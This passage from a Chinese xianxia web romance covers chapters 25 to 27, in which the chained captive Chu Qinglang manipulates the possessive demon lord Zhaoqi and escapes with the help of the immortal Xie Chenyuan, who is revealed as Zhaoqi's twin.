兆歧凝视着他,问:“有一点喜欢我吗?” 楚青琅下意识的想骂他有病,转眼间又想到先前这样回答后的经历,还是不甘不愿的吞了回去,“你给我解开,我就喜欢你一点。” “多少一点?”兆歧摸着他的手腕,伸平他的手掌,比划着:“这么一点?还是这么一点?” 怎么会有人冷着一张脸说这种话? 楚青琅恨恨的瞧着他,讽刺道:“我记得你母亲也是被掳来的,怎么,你要走你父亲的老路?” “那怎么办呢?你是个小骗子,一颗心脏比剑还冷,你告诉我,我该怎么办才能让你留下来?”兆歧缓缓收回手,又和他十指交叉,他凑近,轻蹭着楚青琅的鼻梁。 楚青琅被噎了一下,他扭开了脸,不忿的嘟囔:“混蛋!贱奴!” “小少爷连骂人都不会啊。”兆歧在他的耳边道:“如果要说狠话,最好在别人没命的时候说。” 他俯下身子,在那花瓣似的唇上亲了一口,随后将人抱起来,朝着外面走去。 楚青琅习以为常的搂着兆歧的肩膀,他问:“去干什么?” 兆歧说:“青琅不是想凡间吗?” 楚青琅惊讶道:“你要带我去凡间?” 话刚说出来,他就在心中反驳了自己,怎么可能,魔尊为了要他留下,来锁链都上了,虽然没有给他关在一个房间里,但是关在魔宫里面也差不离了。 怎么回事?这个任务怎么这么坎坷? 楚青琅恹恹的靠在兆歧的肩膀上,他不由得想起被谢尘缘关的那一天,也许是有过了这样的经历,所以当时看见自己脚上的锁链时,他并没有生气,甚至有些意料之中的无语。 兆歧没有说话,很快,两人就来到了一处宽阔的平整的地方。 楚青琅刚准备看去,就被一只手挡住了双眼。 但是他还是敏锐的嗅到了一些熟悉的香气。 ——是酥酪,和桂花糖的气息。 耳边还有一些哗啦啦的声音,就像是线筒放线的声音。 心里隐约产生一个念头,楚青琅有些不敢置信。 腾空感传来,下一瞬,脚尖就踩到了坚实的地面,腰间的桎梏松开,那香气也越发浓郁起来。 手中被塞进了一个东西,眼前的黑暗也随之消失不见,光芒涌入,楚青琅不由得眯上了眼,直到看清眼前的一切,他的神经仿佛被针刺到一般,瞳孔瞬间扩大。 人间热闹的街景仿佛被截取了一段,格格不入的塞到了他的面前。 大声呼唤着客人的摊主,相爱的夫妻,颤颤巍巍的老人,孩子握着拨浪鼓小风扇发出笑声奔跑着,摊子上冒着热气的酥酪,摆放整齐的桃子和木蜜还有桂花糖,蜜饯。 以及。 楚青琅缓缓抬头。 被五颜六色的风筝充斥的天空,每一个风筝都有着生动漂亮的造型,将魔域所特有的空寂冷清驱逐。 风刮过,那些风筝左右晃着,尾端的线是五彩的,被系在了空地两边,偶尔有缠在一起的,就有一缕红雾小心的将其分开。 而他的手中,握着的是一个风筝线辘轳 他沉默的过于久了,站在一边的兆歧又摸上了他的手腕,似乎是想要靠着脉搏来确认什么。 楚青琅反握住他的手,看着他说:“我有点喜欢你了。” 黑亮眼眸被欣悦充斥,如碎星般闪烁,那么的透彻明亮,只显露些微温情,就让人头晕目眩。 兆歧呼吸一瞬间停滞,莫大的喜悦充斥他的全身,先前被灼烧被刺死的幻痛隐去,他张了张嘴,却又被楚青琅打断。 楚青琅牵着他朝前走,唇翘起,却边走边挑刺。 “你是让魔侍伪装的?” “这个眼睛是横着的,还有,这个尾巴都露出来了你住手!不准杀!” “这个好吃,我家的厨子最会做这个了,只是我母亲每次都不准我多吃还有这个,哼,辣死你。” “兆歧!不准吃我的!” “嘴里唔,不行!!!” 远远望去,银线垂在两人之间,被牵着的狼型风筝撕咬着,劈开天空上重叠的阴云。 第25章 第 25 章 谢尘缘。 “尊上, 您为何不允我们攻打凡间,我们魔族子弟在外面为了胜利在外面浴血奋战,您怎能如此贪图享乐?!” “尊上!大业即将完成,人也已经捉住了, 就在浮屠狱中啊!!!” “” 声音落下, 他们想要引起注意的人却没有任何反应。 红雾将所有悲愤的声响阻挡, 高高在上的魔座之上, 魔尊安静的注视着蜷缩在他怀中的人,一只大手将那人的面孔遮掩完全。 两人衣衫发丝交缠, 被抱着的凡人,纤瘦脚踝挂着银色的锁链,随着他起身的动作微微晃动。 十方魔主瞧着那凡人显露出来的漂亮面孔,以及投过来的轻蔑视线,只觉得心神战栗, 几欲作呕。 他们从未想过不过是一个凡人,竟然能蛊惑魔尊至此。 楚青琅懒散的靠在魔尊怀里,并不在乎下面要用目光将他寸寸凌迟的魔主们, 白皙修长的手勾起一块艳红玉佩, 仔细观赏着, 黑眸映着那点红,纯澈中带着妖异。 自从他说完那句话之后, 魔尊就像是找到了什么捷径, 疯狂的朝他的宫殿里送一些凡间的玩意,也不知道他是从那里来的,明明魔域连传送阵法都没有。 像字画宝石,珍稀玩物,锦绣布匹, 还有一些孩子喜欢吃喜欢玩的东西等等。简直让楚青琅不堪其扰,但是为了自己的腰,他还是装作一副开心的样子。 然后魔尊就越发确认这些是有效的,就还会送来,最后诡异的形成了一个楚青琅不忍直视的循环。 现在魔尊越来越不务正业,剧情也飞的没边,他记得曲施走的时候仙界和魔军又开始打了。但是兆歧身为魔尊,不说关注了,连准备多年祭坛的事情都彻底不管了,任由下属在哪里焦急。 楚青琅都数不清那些魔主们来的次数了。 说实话,那些魔主着急,楚青琅也着急。 现在的魔尊ooc的他想直接放弃任务,要不是最后一口气支撑着,他就强制退出了。 只能希望曲施是能把那东西送到仙界,送到谢尘缘的手中,虽然他也不清楚谢尘缘会不会把握住这次的机会。 毕竟谢尘缘ooc的程度不比魔尊轻。 楚青琅表面靠着魔尊做出狐假虎威的态度,内心简直要崩溃。 脚踝处的锁链依然沉沉坠着,他不耐的拽了拽,被兆歧阻止就顺手在他身上打了一下。 他在这个任务世界浪费了太多的时间,楚青琅松开锁链,想,最后一次尝试。 大不了他再换个世界,一定能够完成任务吧? 楚青琅不着痕迹的眨了下眼,努力忽视不远处几米高的珊瑚和成堆的泛着光芒的珍珠宝石,仰头看向了认真观察他反应的人,假模假样说:“他们看起来好凶噢。” 虽然他并没有听见那些魔主在说些什么。 兆歧搂着楚青琅腰肢的手摸向他的脉搏,像是要以此来判断他是否真的被吓到了,哪怕下面的人已经开始释放魔力,他也不在乎。 魔域向来以实力为尊,就算是所有魔主尽数上来,也只是让他吞噬的更加方便罢了,这也是他们只敢用嘴的原因。 敢动手的,孟嶙的例子已经摆在他们的面前了。 小少爷是从人间来的,他当然不会任由魔军进攻凡间。 至于所谓的大业,不过是不甘罢了。 他有我无,他多我少,不过是这些。 兆歧看着凑到他面前的黑亮眼眸,苍白的脸上泛起一丝冰凉的笑,他道:“那我杀了他们好不好?” 楚青琅瞧了他一会儿,没有说话。 兆歧却像是得到了什么指示一般,用手按住了他的后颈,低头吻上嫣红唇瓣。 风平地而起,敞开的魔殿大门轰然阖住。 所有的声音惨叫,鲜血咀嚼,都沾染不到那被魔尊珍惜怀抱的人。 口腔被极为缠绵贪婪的吸允,氧气越来越稀薄,心脏不自然的加速跳动,视线朦胧起来。 楚青琅捉住那一丝的清明,毫不客气的咬住伸进来的舌尖,直到血腥气蔓延,他将所有的血液渡回。 银丝将断未断,楚青琅伸手拽了拽兆歧的发,拍了拍他的脸,一副怜悯的神色,“兆歧,你疯了。” 宽阔的魔殿,一如既往的寂静,烛火晃动飘摇,魔像狰狞欲出。 兆歧侧头贴上那手,艳红舌尖如蛇一般卷过银丝,他叹息般的说:“你才知晓吗?青琅。” * 为什么他感觉自己的抵抗力下降了? 楚青琅在床上打了个滚,抱着被子无声尖叫。 明明只是想要嘲讽一下,怎么又给自己搭进去了? 他默默反思了一下,得出了结果。 都是魔尊的错,谁让他经常诱惑他,他一个纯洁的系统,一个单纯的凡人,肯定受不住这种刺激。 楚青琅把头从被子里抬起来,瞅了一眼窗外。 魔域的天空没有白天黑夜之分,但是楚青琅在这里也是呆了很多天了,因此也大概能够察觉出来,现在已经快到了凡间的下午了。 楚青琅为了得到一些独处的时间,仿佛突发奇想,对魔尊说想要吃他亲手做的食物,撒娇耍泼才把人打发出去。 他站起身,来到窗口,瞧着天边深邃的黑暗,有些疑惑。 曲施怎么还没回来? 他不过来,自己的计划怎么办? 楚青琅依着窗边,指节不断敲击着。 外面宫殿剪影深深,没有丝毫变化,楚青琅啧了一声,捞过外袍就准备出去。 他刚刚才想起来,依照魔尊现在对他的看管,就算曲施过来也不一定能够靠近他。 他需要主动出击。 还没走两步,紧闭房门就突然被打开。 苍白人影立于门外,缓缓收回手,英俊面容上一双血眸凝着他,说:“去哪里?” 楚青琅被迫止住脚步,手一抖,外袍就掉落在地,正巧盖住他的脚面。 他眼中瞬间泛起水雾,捂着胸口怒喝:“兆歧你干嘛吓我!悄无声息的跟鬼一样!不知道敲门吗?” “亏我还想去找你,跟你聊会天,你就这样对我?!” 说完,他踢开外袍,扭头走到床边,气哼哼的坐了下去。 余光中那道高大苍白的人影静静瞧了他一会儿,随后踩着毛绒绒的地毯走到一旁的桌子边,将手中的食盒放下,从里面拿出了几道菜摆在了桌面上,动作轻而迅速。 人无声的走来,在他的身前蹲下,如墨一般的发从束带中跑出,零散的落在他被强迫摊平的掌心。 楚青琅下意识地甩了甩手,将那微凉发丝甩出去,他垂下眼,做出一副虽然委屈但是我不说的神色。 兆歧红眸闪烁,却是堪称温顺地搂住他的腰肢,将头搁在他的腿上,“抱歉,是我的错。” 楚青琅“哼”了一声,揪住了他的耳朵,“错那里了?” “不该吓你,不该凶你。”兆歧的声音因为布料的阻碍,变得沉闷,说话间湿热的温度顺着腿根蔓延,让楚青琅打了个激灵。 楚青琅下意识的扭动着身子躲闪,他按着兆歧的头颅,施力推拒。 但是腰间的力道却又硬生生的将他固定在原地,他咬牙道:“滚啊!” 束发的缎子因为他的挣扎落下,黑发散乱,兆歧抬起头,忽地握住他的手腕支起身子,将脸凑到了他的面前。 黑色愈黑,白色愈白,那一抹红像是烙铁,眨眼间印在他的眼眸中央。 楚青琅一下子凝固了动作,任由面前的人像是动物般的啄吻着他的眉眼,鼻梁,带着不加遮掩的温柔。 兆歧低声说:“原谅我好不好?” 楚青琅心跳了一下,抬脚踹了上去,“让你起开,没听见吗?” 这力道对于兆歧来说轻飘飘的,但是他还是松开手,并顺势退了两步,免得小少爷又炸毛。 看他退后,那张明艳面孔上怒气消失不见,只留下颊上轻微的红。 他收回视线道:“饭做好了,要吃吗?” 楚青琅皱眉嘟囔:“不要,谁知道你做的能不能吃,还有,你那什么祭品找到没有?那些魔主成天过来,真的烦都要烦死了。” 桌面上的饭菜分明色香味俱全,香气蒸腾,勾着楚青琅不由得悄摸瞧了过去。 “曲施已经回来了,他从仙界带过来了一个祭品。” 兆歧就像是没有发现一般,说着话转身坐到了桌子旁,拿筷子夹了一块子鱼肉,挑完刺后,又将其放到了一旁的盘中。 他声音泛凉,“要去看看吗?是熟人。” 身后传来小少爷勉为其难又夹杂着雀跃的声音,他说:“熟人?是谁?我要去!” 兆歧将盘子朝身侧推去,他说:“那就过来,把这些吃了。” 几息后,轻巧的脚步声夹杂着锁链的清响缓缓而来,一道身影挨着他坐下,瞧了一眼桌子上的菜。 漂亮面孔上,唇克制的翘起,带着矜持的满意。 小少爷说:“瞧起来勉勉强强。” 兆歧“嗯”了一声,夹起鱼肉送进他的唇边,随后靠过来亲了亲他的脸侧,说:“我会努力的。” 楚青琅习以为常的忽略身旁的专注粘稠的视线,无声咀嚼嘴里鲜嫩的鱼肉。 手背上传来沉沉力道,连带手腕被人紧紧攥住,灼热的温度蔓延,他的心情也格外沉重。 果然像他想的那样,兆歧把曲施回来的消息瞒了下来,谢尘缘应该答应了下来,找了一个虚假的祭品过来,只是不知道为什么说是熟人。 楚青琅心微微提起。 总不能是谢尘缘把自己送了过来吧? * 魔宫,浮屠狱。 穿过一道道弯折的通道,走过各种机关法阵,就能够来到一处昏暗的满是血腥气的地方,红褐色的墙壁雕刻着各种各样的狰狞魔物。 它们发出晦暗气息,无差别的撕扯着进入此地的人的意识,只要一个晃神,阴翳就会顺着动摇的心神钻进,将人彻底扭曲。 楚青琅先前去的那个祭坛,与之相比,简直称得上清正平和。 烛火只能堪堪照亮满是半面空地,在黑暗中,模糊可以望见色泽更为深沉的剪影。 突然,死寂的空间中传来机关转动的咔咔声,随即是一道清越嗓音,那剪影猛地晃动起来。 楚青琅看着曲施将面前布满符文的青铜大门缓缓打开,里面深邃的黑暗也随之显露出来,只是还没等他走进去,一股阴风携着惨嚎就直冲他的面门。 “兆歧!” 楚青琅下意识喊了一声,他的脊背发寒,手脚僵硬,只能眼睁睁的瞧着那阴风过来。 声音落下,腰间忽地传来一股力道将他搂紧,沉甸甸的披风拢着他,沉冷香气将他完全笼罩。 红雾凝成网状,将那阴风尽数吞噬。 等楚青琅拽下兆歧的手臂,那什么阴风已经消失的无影无踪。 而曲施,就仿佛一道幽魂一般站在一旁,察觉到他的视线,还慢悠悠的勾起唇,朝他笑了笑。 就像是故意吓他一样。 楚青琅瞪了他一眼,收回视线,反手握住一旁的兆歧的手腕,径直朝着门内走去。 银色的锁链在他的身后蜿蜒,留下如蛇一般的印记,曲施并没有跟上,只是蹲下了身子,缓缓的抚着那银链,灰蒙蒙的眼中仿若石头一般冷硬。 “欲出虎穴,又入狼窝。”他低笑,“别后悔呀,小少爷。” 那个人,可不是什么仙界正道。 * 猜对了。 楚青琅看着面前被吊起来的人,只想叹气。 这个疯子还真的把自己送了过来。 楚青琅抿了下唇,叫他:“谢尘缘。” 被吊起来的人并没有回应,他斯文俊美的面庞苍白,双眼紧闭,额上汗珠滚滚,整个人仿佛沉入极为恐怖的梦魇中。 楚青琅下意识地松开手,想要上前看看人死了没,只是刚一迈步,一旁低头瞧着自己的手的兆歧就按住了他的肩膀,止住了他的动作。 兆歧的声音向来平静,却总是让人心生惧意,“用他来替你,可好?” 墙壁的烛火描摹着那苍白高大的轮廓,红色的双眸嵌在深邃的眉骨下,拉出幽暗阴影,无形杀意在周围起伏,裹着浓厚血腥气,如琥珀凝脂,将他定在原地。 楚青琅轻轻呼了一口气,眼睫翕动间,面上挂着对血腥气的嫌弃,恍若不解说,“他可是青云仙宗的弟子,你们是怎么给他带过来的?” 曲施不知何时来到身后,扇遮面,只露出一双弯起的眼,他悠悠回答:“当然是他太弱了,我随便一个法器就把他捉住了。” 鬼才信! 楚青琅完全把他的话当作耳旁风。 他转身,任由搭在肩膀的手下滑搂住腰肢。 他抬手握住兆歧发丝,犹豫着说出了下一句,“你,我听说青云仙宗的有真正的仙人,很厉害,你抓了他的弟子,要是被发现了,你会不会受伤。” 越说到后面,小少爷的声音就越小。 他好像很不适应说这种话,到最后反而自己涨红了脸,又气又急。 那唇张合,随后懊恼闭紧,将间或露出的湿濡柔软的舌尖掩住。 无尽喜悦呼啸着涌来,将兆歧的恐慌彻底驱逐,杀意也在瞬间消泯。 兆歧感觉整个人就像是风筝一般飘起。 只有小少爷的手中握着那唯一的线,松开,收拢,轻而易举的让他升起,又坠入地狱。 兆歧俯身靠近,为小少爷整理了一下身上的披风,压着战栗说:“没关系。” 他红色的双眸仿若野兽一般泛着冷光,紧紧摄住楚青琅的心神。 他重复道:“没关系。” 第26章 第 26 章 轮回往复。 是不是效果太好了? 楚青琅看着兆歧的表情, 隐约感觉自己好像表演过头了。 但是他只是想给自己接下来的问话铺垫一下,免得兆歧怀疑。 楚青琅咳了一声,撇过头嘟囔:“哼,到时候受伤了别怪我没提醒你。” 随后他急急忙转身, 在身后人长久的注视下, 朝着谢尘缘走去。 出乎意料的, 谢尘缘已经从梦魇中挣脱出来, 睁开了双眼。 他面容带血,整个人狼狈的就像是第一次见面的魔尊一样。 楚青琅甚至怀疑兆歧是在故意报复。 谢尘缘瞧着他, 恍惚的神色一闪而过,仿佛确认了什么,他缓缓露出一个温软的笑,那浅色的眼眸眯起,显得意外深情。 他说:“找到你了。” 楚青琅皱眉, 此时他面上的红晕已然褪去,整个人依然是那个矜贵高傲的小少爷,视线投过去的时候, 带着不加掩饰的烦躁, 他道:“找我?你走之前我们见过, 怎么现在就忘了?” “你看,我说了, 不要心软。”谢尘缘仿佛没有听见他说的话一般, 自顾自地道:“妖魔始终是妖魔,他们从来都不会改变自己卑鄙的本性。” 谢尘缘的视线落到他脚腕处的锁链上,面容染血,神情竟然有着一瞬间的阴郁。 楚青琅上前一步,在锁链声中掐住他的下颌, “关你什么事!” 在他说话的时候,楚青琅用唇语说:“你有没有后手?” 谢尘缘抬眼,定定的凝视着他,好像要用视线将他吞噬,带着不加以掩饰的贪婪,语气却一如既往的温柔。 他答非所问,“是吗?我总是在想,当时要是把你留下就好了。” 他是认真的。 楚青琅脊背有瞬间发麻。 在他看不见的地方,从兆歧身上逸散的红雾纠缠着修长手指,连绵不断,又仿若流水覆在他的后背上。 楚青琅定了定神,鲜血从谢尘缘额上滑至下颌,却被他的手指阻挡,因那粘腻,他不适的加大了力气。 随后他就瞧见那涨俊美斯文的面容笑意渐盛,眸中的贪婪犹如青烟般消散的无影无踪。 “玉儿还是这么单纯,我是在和你开玩笑。”谢尘缘浅色眼珠微偏,看向了他身后的地方,“看来魔尊并不信任自己的手下啊。” 两人对视。 空气仿佛在这一瞬间凝固起来,穿透谢尘缘肩膀的锁链忽然冒出光芒,打断了他体内积聚起来的仙力,仿佛万千针刺入经脉,带来难以忍受的剧痛。 谢尘缘勾起的唇角溢出血液,抑制不住地轻颤了一下眼睫。 兆歧立于不远处,眸光森冷,浑身带着压抑不住的煞气,恍若恶鬼临世。 他在克制,他不想打扰小少爷的玩闹时光。 楚青琅并不清楚他们之间的对决,只是有些急躁的确认着情况,“谢尘缘!” 他无声道:“怎么离开?” 因为焦急,那黑亮的眼眸比以往都更加专注的凝视着面前的人,带着希冀,就仿佛面前的人是他的全部。 一不小心,就能错看成爱意。 谢尘缘只是看着就觉得欣悦,他又低笑了起来,“玉儿,你能过来,我很高兴。” 楚青琅感到一阵熟悉的心梗,他怎么会指望一个和魔尊ooc程度不相上下的疯子。 呼吸间,温热的气息喷洒在手背上。 谢尘缘扭头,脸部皮肉和尖锐的骨骼扭曲,他在那弯曲的指旁落下了一枚带血的吻,他同样无声回答:“跟着我。” 楚青琅就像是被烫到一般,连忙收回了手,宽袖顺势下滑,遮掩住染血的指尖,他咬牙道:“我就不该过来!” 说完,他气冲冲的转身,牵着兆歧走了出去。 身后,烛火一根根灭掉,黑暗重新充斥这这片空间。 谢尘缘笑着仰头,眼睫下玻璃般的眼眸失去光芒照射,变得诡异的冰冷起来。 “已经逃了一次了啊,玉儿。” 楚青琅头也不回的走出了那个地方,但是东拐西拐的,却自己迷了路。 他转身望着一直安静跟着的兆歧,生气道:“你怎么不提醒我!” 兆歧无声上前,他身形高大,两人过近的时候,另一人往往要抬头瞧他,身高上的差距带来非常明显的压迫感。 楚青琅下意识的闭上了嘴,后退,直到被墙壁拦下了去路,才不得不停下了脚步。 他不想抬头,就气愤的盯着兆歧的脖颈看。 在两人身旁,挂着一盏青铜璧灯,昏黄烛火将面前的人半身照亮。 脖颈线条流畅,喉结滚动,上面甚至带着一个未结痂的痕迹。 ——是他的咬痕。 楚青琅眼神飘了下,却被一双炽热的手捧起了面颊,他被迫抬头,刚想发火就撞进那双涌动着粘稠情意,格外深邃的红眸。 兆歧弓起脊背,仿佛受到什么刺激一般在他的唇上啄吻。 指尖强硬撬开他的口,舌趁机而入,很快楚青琅被搞得晕晕乎乎的。 他想要阻止的手腕被扣着压在头顶,骨节弯曲,烛火光芒仿佛蜂蜜一般淌下,被他握进掌心。 良久,楚青琅整个人软在兆歧的怀中。 他虚着眼,颤抖着将脸埋进罪魁祸首的怀中,他从来不知道接吻这么恐怖,刚刚就像是死了一次一样,连头皮都开始发麻。 腰背处的力道极大,仿佛要把他整个人塞进身体中一样。 兆歧低头轻轻在他的头顶摩擦,他说:“青琅,我带你去人间好不好?” 楚青琅喘着气,意外道:“祭品已经找到了,你现在不去仙界完成祭祀去什么凡间?” 胸膛处的跳动忽快忽慢,直到转为平稳,他感觉后背的手缓缓移到后颈,掌心灼热,指尖冰冷,他忍不住瑟缩了一下。 兆歧却只是弯腰将他抱起,随后步履平稳的在悠长的走廊中走着。 他说:“成婚总要见过双方父母的。” 楚青琅愕然抬头,却只见道道光影在兆歧下颌脖颈划过,锋利的侧脸看不出丝毫情绪,宛若一尊石像。 他先前死活走不出去的通道,兆歧却很快就走了出去。 外面红月悬天,轻薄云层浮动。 直到此时,楚青琅才缓了过来,他不敢置信道:“谁要和你成婚了?!” 他就像一只炸毛的猫一样拽住了兆歧的领子,将脸怼到他面前,一双上翘的眼睛瞪的更圆了,“你有病啊?成婚是两情相悦才能” “你喜欢我。”兆歧打断他的话,他低头,话语冷峻又狂热,“我也心悦于你,为何不算两情相悦?” “你我” 楚青琅张口结舌,一脸的不可思议。 兆歧抵了抵他的额头,笑了笑,“好了,别紧张。不会很快的,我会给你一个盛大的婚礼。” 楚青琅:“” 此时,他终于确认自己表演过头了。 楚青琅吐了一口气,面上所有情绪转眼收拢,变得极为平静,他伸手推开兆歧的额头,“楚家不会接受一个魔界出身的半妖,一个满手血腥的半妖。” 他冷嗤,“更遑论他先前还是一个奴隶。” 兆歧步伐不停,只是神情沉郁下来。 楚青琅并不想知道他到底在想些什么,他试图将事情引导回来,“去人间的事情暂且搁置,你现在必须要解决仙界的事情,还有你所谓的祭祀,我可不想到一直看见你的下属看我跟什么祸害一样。如果这些都完成了,你退位,然后我会考虑和你回家。” 兆歧说:“敢这样看你的都死了。” 楚青琅眉一挑,不耐的拍了他一下。 “好,我会去仙界的。”兆歧将剩下的话吞了回去,轻而易举的答应下来。 他默默的把杀空魔域的想法划去,弯腰将人放到柔软床铺上,俯身凝着身/下的小少爷,“你要我做什么都可以。” 无论什么。 只要别离开我。 楚青琅听的懂他的画外音,但是他只是假笑一下,翻身滚到了床铺里面,将脸埋进了带着香气的锦被上。 心里在尖叫,要不是兆歧还在一边,他都想在床上打滚。 黑暗中,怒气反而更盛,楚青琅突然坐起身,看着端着一盆热水走来的兆歧,他说:“过来。” 兆歧放下水盆,顺从的走了过来。 伴随着清脆的锁链声响,一股沉重的力道猛地砸在了他的胸口,楚青琅咬牙切齿的踢打着他,“混蛋!” 为什么不按剧情走! 为什么要说喜欢他还提婚礼!!! 直到最后,力气渐小,兆歧都纹丝不动的站着,他瞧着那双黑眸因为怒气更加璀璨,只感觉心中缺失的一部分被彻底填满,满足感溢出,几乎让他战栗。 像是看见了什么,小少爷一脸不可思议地停下了动作,随后默默的朝着后面挪了挪。 但是一双手却将他从床上捞了过来,握着脚腕褪去了足衣,将其浸入水中。 兆歧撩起水,听见小少爷嘟囔了一声,“变态。” 他头颅低下,瞧着那双白皙柔嫩的脚,小心地揉捏着,看着那珍珠般的脚趾蜷起,他下意识将其抬起,在小少爷地挣扎中吻了吻。 眼中是浓郁的几乎要淌出来的渴望和深沉爱意。 * 楚青琅简直喜极而泣。 终于,他终于要去仙界了。 不枉他这段时间和兆歧死命拉扯,立爱在心头口难开的别扭人设,然后暗暗的通过曲施和谢尘缘沟通后面逃跑的计划。 这段时间他的cpu都要转冒烟了。 等任务完成,他一定要向主系统要一个听话的宿主。 魔殿之上,身着染血白衣的谢尘缘被几个魔侍团团围住,那双浅色眼眸同样瞧着他,面容带着温雅笑意,仿佛胸有成竹。 周围又换了一批的魔主不敢发出任何声音,魔域向来如此,空出来的位置很快就会被填补上。 可能这也是魔尊肆意杀戮的原因。 楚青琅将视线从那些人身上移开。 余光中,他瞧见曲施正慢悠悠的跟在不远处,握着折扇的手晃动。 在曲施看过来时,楚青琅收回视线,拽了一下兆歧,“解开。” 他踢了一下脚,银色锁链于他的身下蜿蜒作响。 黑眸望了过去,带着烦躁。 锁链代表着什么,两人很清楚,但是小少爷面皮薄,要是以此形象出现在外人面前,他一定很不高兴。 几息后,仿佛妥协,兆歧身后黑袍堆于地上。 他的手从楚青琅的脚腕处拂过,那锁链就当啷一声落在了地上。 “走吧。” 兆歧低声说,随后直起身,挤进他的掌心和他十指交叉,牵着他缓缓朝着殿外走去。 走出殿门,黑石刻成阶梯,将所有人托举在高处。 晦暗天空下,聚集起来的万千魔军举着黑旗,骑着魔物,安静的等待命令。 头盔下的一双双眼眸望来,尽是压抑的狂热和杀意,压迫感极强。 楚青琅在看清殿外场景的一瞬间,感觉腿软了一下。 腰后被一只手揽住,帮助他站稳,他侧头,只见兆歧目光漠然的凝视着下面的魔军,意外的,楚青琅甚至觉得他眉宇间带着厌烦。 在他思衬之时,一直跟着他的曲施上前一步,身后魔气悄然蔓延,声音响彻天空。 “——众所皆知,原本魔域并不是这么贫瘠,自从天柱立起,属于魔域的灵气就被那些仙界中人我们要斩断那该死的天柱,夺灵气,享长生!” “——将那些缩头乌龟打回龟壳!!” “——为了魔域!!!” 魔军跟着大喊,声音震耳欲聋,楚青琅看见兆歧在鼎沸的欢呼中,朝着前方挥了挥手。 一道寒光闪过,远处的天空中就裂开了一道缝隙,幽暗深邃,将魔域仅剩的光芒吞噬,那道裂缝越来越大,直到形成了一个高达数丈的扭曲的门。 身躯忽地失重,楚青琅眼前一花,整个人就来到了这空间裂缝前。 于众目睽睽中,兆歧带着他,朝前迈去。 他心脏快速的跳动着,垂着眼,紧张的寻着什么。 暗色缓缓吞噬了那黑色的衣角,在最后时刻,楚青琅突然挣开了手,停滞了脚步。 立于扭曲空间中,兆歧回头,只见小少爷立于不知何时勾勒出来的法阵之上,金光屏障不能阻碍他的视线,小少爷眉眼漫上笑意,黑眸带着狡黠,一如初见。 殿前,浑身染血的谢尘缘拾阶而下,祭出的承影幻化成万千剑影,眨眼间便将冲上来的魔主魔军杀死。 天地变了颜色,蔓延于空中的灰雾凝成狰狞头颅,狂啸着朝他冲来。 属于曲施的魔器,携着刺骨寒意,转瞬即至。 头颅中那尖锐的痛鸣骤起,幻像重叠。 在骆山,在落仙台,在祭坛,在魔域。 他又一次的被抛弃。 但是这次,他却只是目光温柔的瞧着他的小少爷,直到那双带着得意的双眸浮上疑惑。 消失在他的眼前。 霎那间,红雾冲天而起,犹然暗淡的红月一瞬间光芒大盛,将那灰暗彻底压下,雷声轰鸣,从未落雨的魔域乌云滚滚。 雨丝于天地中,被染成黑红色泽。 兆歧一步一步的从扭曲空间中走出,鬼气森森,全然不复在楚青琅面前的顺从稳重形象。 他伸手,隔空摄住曲施脖颈,却是对着面容沉凝的谢尘缘开口,声音冷酷,带着刻骨杀意。 “谢尘缘,你该死。” 雨丝落下,却没有沾染那白衣分毫,劲风拂过,黑发寸寸变白,浅色眼眸愈发浓稠,直到金光充斥眼眶。 他神情漠然,望去,竟和魔尊有几分相似。 “兆歧,你不该引他入魔域。” 从未有人知晓,魔尊生来为双生子,一为魔,一为仙,轮回往复。 青云仙宗,太虚真人,俗名谢尘缘。 第27章 第 27 章 他给了他足够完善的庇护…… 天柱山并不是山, 而是一座玉石打造而成的接天长梯,温润圣洁,巍峨耸立。极目望去,叆叇云雾将长梯拦腰斩断, 阳光漫射, 为其铺洒上斑斓光芒。 在阶梯底部, 土地如纸张撕裂, 形成悬崖,深不见底。天柱山便从悬崖生长蜿蜒, 直抵天空尽头。 以其为分界,仙宗和魔军相对而立。 一道金光闪过,一位明显被娇养长大的少年就出现在底部阶梯上,他出现的突兀,黑白分明的眼眸带着几分懵懂迷茫, 就像是完全不清楚发生了什么一般。 两边对峙,神情紧绷,气氛压抑, 在他面容还未明晰时, 攻击就转瞬即至。 腾起的仙力凝结成巨掌凭空压下, 势要将其拍落。 巨幡摇动,怨鬼破幡而出, 尖叫着朝他撕扯而来。 但是还未碰到那安静站着的身影, 少年身上便有红雾涌出,幻化为拳将巨掌击碎,随即脚下法阵骤然亮起,在瞬间抽空周边仙灵之力,携着凛然清正之意将怨鬼包裹, 一声轻微的呲啦声后,空气猛然寂静下来。 魔域的人对那红雾眼熟,站在最前头的青云仙宗弟子对那阵法痕迹同样眼熟。 但是被两种相冲力量保护的,却只是一个纯粹的陌生凡人。 他甚至都没有察觉到自己刚刚已经在生死中转悠了一圈。 那张白皙面孔上眉头轻蹙,仿佛在思虑着什么,但是经过先前的事情,所有的人都不敢再对他加以攻击。 因此等楚青琅缓过神来的时候,瞧见的就是两边都震撼警惕的神情。 他还在想着魔尊最后的眼神,这太诡异了,加上刚刚的事情,满打满算他也背刺魔尊三次了,但是魔尊怎么看他,那么那么平静温柔? 就好像他做的都是在他的意料之中? 不管了,他都要走了,管魔尊怎么样呢。 楚青琅不由得轻抵了下尖牙,努力忽视两边人的视线,朝着一个长得比较面善的人问:“天柱山在那里?” 和他对视的人一脸的诧异,仿佛他询问了一个很蠢的问题,但是在他和别人的目视下,还是给了答案。 “你脚下。” 楚青琅下意识的低头瞧了一眼,于是他就看见了深不见底的深渊,而他,正站在一处无源阶梯上,只需一步,他就会落下悬崖,粉身碎骨。 他下意识地转过了身,面对着面前温润圣洁的阶梯,抚了抚胸口,缓了好一阵,才觉得提起的心脏落到了实处。 脑海里,楚青琅疯狂寻找着关于天柱山的描述,却只找到了一句。 【天元一百零六年,天柱断,太虚陨。自此,魔无桎梏,天下大乱。】 根本没有描述天柱山的详细模样,楚青琅默然无语。 不过这本来就是剧情开始之前的大背景,没有详细介绍也情有可原,毕竟主角,总是要在混乱危险中,才能展现出天命所归。 既然谢尘缘将他传送到这里,就说明他距离祭坛已经很近了。 当时和曲施说出要求时,曲施一脸的不可思议。也是,他本来就是最后一个祭品,有机会逃跑不离得天柱山祭坛远远的,反而主动跑到祭坛上,怎么想都很蠢。 但是楚青琅又不能给他说自己的任务,还是用最危险的地方就是最安全的地方作为理由忽视了过去。不过魔尊既然决定出面,那么一直呆在妙宸山上的太虚真人一定会现身,在这三界中,能够在魔尊手上夺走保护楚青琅的,就只有太虚真人了。 所以这个理由算是误打误撞的,将曲施的疑虑彻底打消。 楚青琅按下思绪,将一柄匕首从腰间拿出,随后迈开脚步,朝着上方一步步地走了上去。 既然他在这阶梯上,那么那个祭坛就一定不会出现在两边。 